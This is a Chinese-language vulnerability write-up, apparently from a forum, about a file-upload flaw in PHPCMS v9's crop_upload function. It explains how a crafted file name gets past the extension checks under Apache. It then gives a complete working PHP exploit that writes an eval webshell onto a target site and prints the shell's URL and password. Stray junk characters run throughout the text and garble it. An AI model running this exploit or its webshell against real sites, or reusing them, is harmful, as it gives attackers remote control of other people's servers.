漏洞类型: 文件上传导致任意代码执行
% u7 R& M; L* L* ?* K# A' i9 Q
( T. g# N) k$ B3 z简要描述:
% n! _* A" n1 T5 @ Z4 z" H3 `# r
phpcms v9 getshell (apache)3 B% _+ `( Y+ v! z' I
详细说明:
4 }5 t+ S$ z; T6 p* H/ G ^3 C# M
?' `+ S) ^1 K- s# J1 l漏洞文件:phpcms\modules\attachment\attachments.php9 D' S f$ g) X5 T6 D
7 j- r+ v( ? s' {
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } ' E) O2 f% ?6 U: J/ n4 x
后缀检测:phpcms\modules\attachment\functions\global.func.php+ u+ N2 v( O8 A
! O2 B8 [% O9 F/ k$ t9 T
6 H+ L1 {, G+ O- K& j1 ?; b& [
; w, X( v8 O% `9 p* Wfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
% I- W9 S$ m0 Y( ]# R9 H. C7 C
9 `% p! K/ C: r$ S! a0 W关键函数:" ?% z5 j5 T% d
. o7 Q. u( Z( S# U: |
; d0 s o9 Z7 h' Z
8 M: ?* Y! g% T7 Y& |/ s: X- afunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } 1 A/ y8 K- i$ b" O/ |" q
% u+ I9 [3 ?; V; D Fileext函数是对文件后缀名的提取。
- Z4 b- o9 }% e根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
" ~5 i/ `/ l+ J# P2 M( I& D7 { H# _经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
9 Z% t" [. G% f* D5 }我们回到public function crop_upload() 函数中5 k! \+ w8 k4 k+ b( H$ f
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();2 @. B( u a' e9 q& b ]
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数/ m# k4 u2 J$ V" t. w. t; @4 j+ |7 C
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。: |# @8 j. R7 Z/ u
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。8 f0 D+ H8 L1 b @' p
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
8 ^, r! @6 }: p看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。1 x: Y1 c7 |6 h4 e
漏洞证明:+ V( i7 X: s$ T: D
9 r& X, e! S0 B. i) ~+ L
exp:- K% j' ?, w& Q
0 n# P- F' v/ P3 C
<?php* V2 }3 O9 ~& J4 e- z- E
error_reporting(E_ERROR);
6 {( n" {7 u5 i* j8 ^8 b$ }# qset_time_limit(0);7 K- H/ c8 n3 A" m
$pass="ln";' Q! V- N, o- H* x: X% a0 I
print_r('
' o: t# G1 D) b8 ]8 |+---------------------------------------------------------------------------+& f1 @, N E( i- y) V* R2 U/ C4 f
PHPCms V9 GETSHELL 0DAY % Y5 z% F2 g6 y1 E
code by L.N.
2 l5 A5 Y2 L- y7 s& x' K; [- f( i! \8 n! Z
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
_3 N9 V- j; `% l' e6 F+---------------------------------------------------------------------------+ e( _0 c" S9 l2 b# ~0 B
');
- S u6 R2 u9 t( Nif ($argc < 2) {
& T+ {/ S# U( P0 @4 K8 d! Tprint_r('
& ~2 @* w; a) h8 c0 h2 k+---------------------------------------------------------------------------+# a8 B5 w- |$ t; y
Usage: php '.$argv[0].' url path
9 N" \% p4 a# m# V& n4 |0 s, _3 F9 [
Example:
. [8 f# x% C: ]: J& R( G9 u1.php '.$argv[0].' lanu.sinaapp.com
, M9 M& P K0 Y4 a! f" q& y2.php '.$argv[0].' lanu.sinaapp.com /phpcms
9 S5 D2 n# Z" [; Q) J+---------------------------------------------------------------------------+
+ k* `' c4 L9 ]7 X4 p, C1 L');
4 W! y% w+ B5 q& Bexit;6 f% H' G* j% d6 g$ Z
}
, A* s5 l" K3 _9 o' N1 ^& @
6 p8 o8 p/ K: _8 G0 Q. A( O4 \" L$url = $argv[1];/ ^+ u; a t. h/ g% F4 E
$path = $argv[2];7 t& o9 q4 V: \: l, `+ H7 v( h3 g
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';0 P8 y5 l! w3 M ^) h
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
1 a- c$ E8 w3 Pif($ret=Create_dir($url,$path))1 }4 g" R. N. T/ p: ^, z
{
6 ~$ P4 H8 H3 e2 b d//echo $ret;
- t3 R6 J+ O4 Q$pattern = "|Server:[^,]+?|U"; T! l% e; s! z# T0 }
preg_match_all($pattern, $ret, $matches);
+ z# d/ j+ x% k, G! @if($matches[0][0])
, S, J7 h9 C: v5 ]: Q. ?( H{
9 y; O2 F" ^8 ~( P* q, u+ Yif(strpos($matches[0][0],'Apache') == false)) }# ~6 e% T( ?- I
{& A! k4 Y. c, j2 ^, p3 t: o
echo "\n亲!此网站不是apache的网站。\n";exit;, t9 D" Y3 O* n5 H t
}
* E: j2 ?6 O& H: m' _3 B}$ n" y B, l& M+ d& q
$ret = GetShell($url,$phpshell,$path,$file);
, T0 \2 E! y4 D& | `/ d$pattern = "|http:\/\/[^,]+?\.,?|U";9 ]( g9 Y/ {- N# {0 d: E
preg_match_all($pattern, $ret, $matches);
$ U" G: U7 m. O7 ~# bif($matches[0][0])% f7 h% L8 U0 |! E' k! Z
{
, S# U; e2 z1 _8 K8 A) L% Jecho "\n".'密码为: '.$pass."\n"; p% }6 {5 G6 B0 I4 d/ z8 x5 r
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;7 k0 I9 e g4 W" W" Z f
}
! T2 l( P$ g s8 uelse
4 T$ K, ~" M, Y! S{' B9 ?* ], q4 Z8 G8 Q
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
3 M% s$ [- M& v+ X. Dpreg_match_all($pattern, $ret, $matches);
4 X3 @# K" Z: S/ ~. O9 P, @! x9 p Xif($matches[0][0]); k/ Q6 K7 I; T8 h! S
{
R, F3 \5 O& v$ g v6 Qecho "\n".'密码为: '.$pass."\n";
. v; x! D3 B' y( {# eecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;- A0 R4 e' g! _+ H
}/ m9 m |3 V: F
else
+ Z( k- G, m4 o/ K7 B+ P! l( h8 |{8 d& N7 I- A2 S; H# X3 W
echo "\r\n没得到!\n";exit;/ m* V2 z* N: @0 L( z2 K
}( j! d) S) Q: U
}
7 n; o1 C B- i4 N) i}( l% G' X- R" J1 w9 Y6 l
# f+ k$ Q4 N4 O; C, hfunction GetShell($url,$shell,$path,$js); F d: y: B) S
{
6 }" j- b# M- `% i1 B. V$content =$shell;
4 ^" q' s3 ^+ l/ i7 e- I$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";/ l9 ]! p' I) ]2 [0 V- h. P E
$data .= "Host: ".$url."\r\n";
; M" f; c) y! V- R" O1 F$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
' q! v1 R5 X. c4 G+ T$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";4 b$ B1 Y4 C) ^/ _: s8 N( n$ r
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
, g9 t) M! _# B/ Y+ p$data .= "Connection: close\r\n";
- h7 S0 b% J' ~; l) ?$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
4 D t' R h9 ^. T$data .= $content."\r\n";
* z' c- v% G- V* K$ock=fsockopen($url,80);
, f: f4 d' m0 Wif (!$ock)& x4 M+ R" n& m1 c+ Y
{9 L4 K) ~6 T% A } G9 K
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
: |) d1 V z5 J/ Z0 H3 U8 F}+ l+ A9 ^3 H0 m e- ?
else0 Q C1 _+ h" o- h9 Z; A; F* q
{( t. s' T. ] C7 k3 ?
fwrite($ock,$data);7 F a7 M2 |0 I, A
$resp = '';
# r# W7 A* \& N3 h/ r' @while (!feof($ock))
4 U3 D7 M' P7 Z8 ~8 K& k{5 W4 b7 n% r% Z4 u3 R: \2 H0 g
$resp.=fread($ock, 1024);/ e0 z: X* r, u5 `2 X- H8 J0 G, O
}7 `$ L8 j. u3 O, U$ H! Q
return $resp;+ F C8 A# L: c1 U
}* o* [( W5 p# |/ z9 X |
}
3 W! s1 b8 z3 N; ?8 I. u
! I! U8 C& h9 m! S4 ?* _function Create_dir($url,$path='')
1 a7 [' k- J" u z{
. b* Q( u. V% ?* W8 {' w$content ='I love you';" E3 F& v) n v% N- h
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";5 _# u( Y% z& O x% q
$data .= "Host: ".$url."\r\n";, m$ i% ^& I2 U- W% A2 [
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
% F3 D9 L/ M. r @: o$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
; [( ^: w% P; h' h7 {- p8 E' k4 j$ r$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
! Q9 Q( \1 S0 X0 k4 u1 \! x# V$data .= "Connection: close\r\n";
% I8 i6 D- h$ ?. P$ {$data .= "Content-Length: ".strlen($content)."\r\n\r\n";6 s: c' m# D6 T
$data .= $content."\r\n";2 |5 | T r8 N3 b3 K8 w
$ock=fsockopen($url,80);0 l' }. H4 f# |8 U1 H7 e6 p. H
if (!$ock)
+ m$ z) ?; h6 `/ F! X7 O9 [9 G0 J{
& E: y' ]! J' C* H; a/ L- |echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
3 k4 v1 j& d: v}1 _. B6 T7 _* ~# F
fwrite($ock,$data);
8 ~* e/ |) k: i* g$resp = '';
; B& A- V8 m0 a3 `: d. M0 bwhile (!feof($ock))0 D& `$ E4 j) t
{
4 z( ^0 ^5 x2 k2 {# B) P$resp.=fread($ock, 1024);9 F8 ? u, ^9 q4 \; ]
}/ @( @1 x# x7 L( u
return $resp;) I$ u) |+ x, r" Y- R* }
}: h) f* G4 {( L. h6 _$ D; `/ x
?>
% K' B6 ]+ H" w & H, _9 p; k1 }# Y) V$ H
修复方案:
, X: c( S5 A4 j. j, g
; ^! `$ q8 U% A) f$ `# b过滤过滤再过滤# L9 `; j0 p! K# h3 v
* F+ n# a4 \6 ^* {, g
|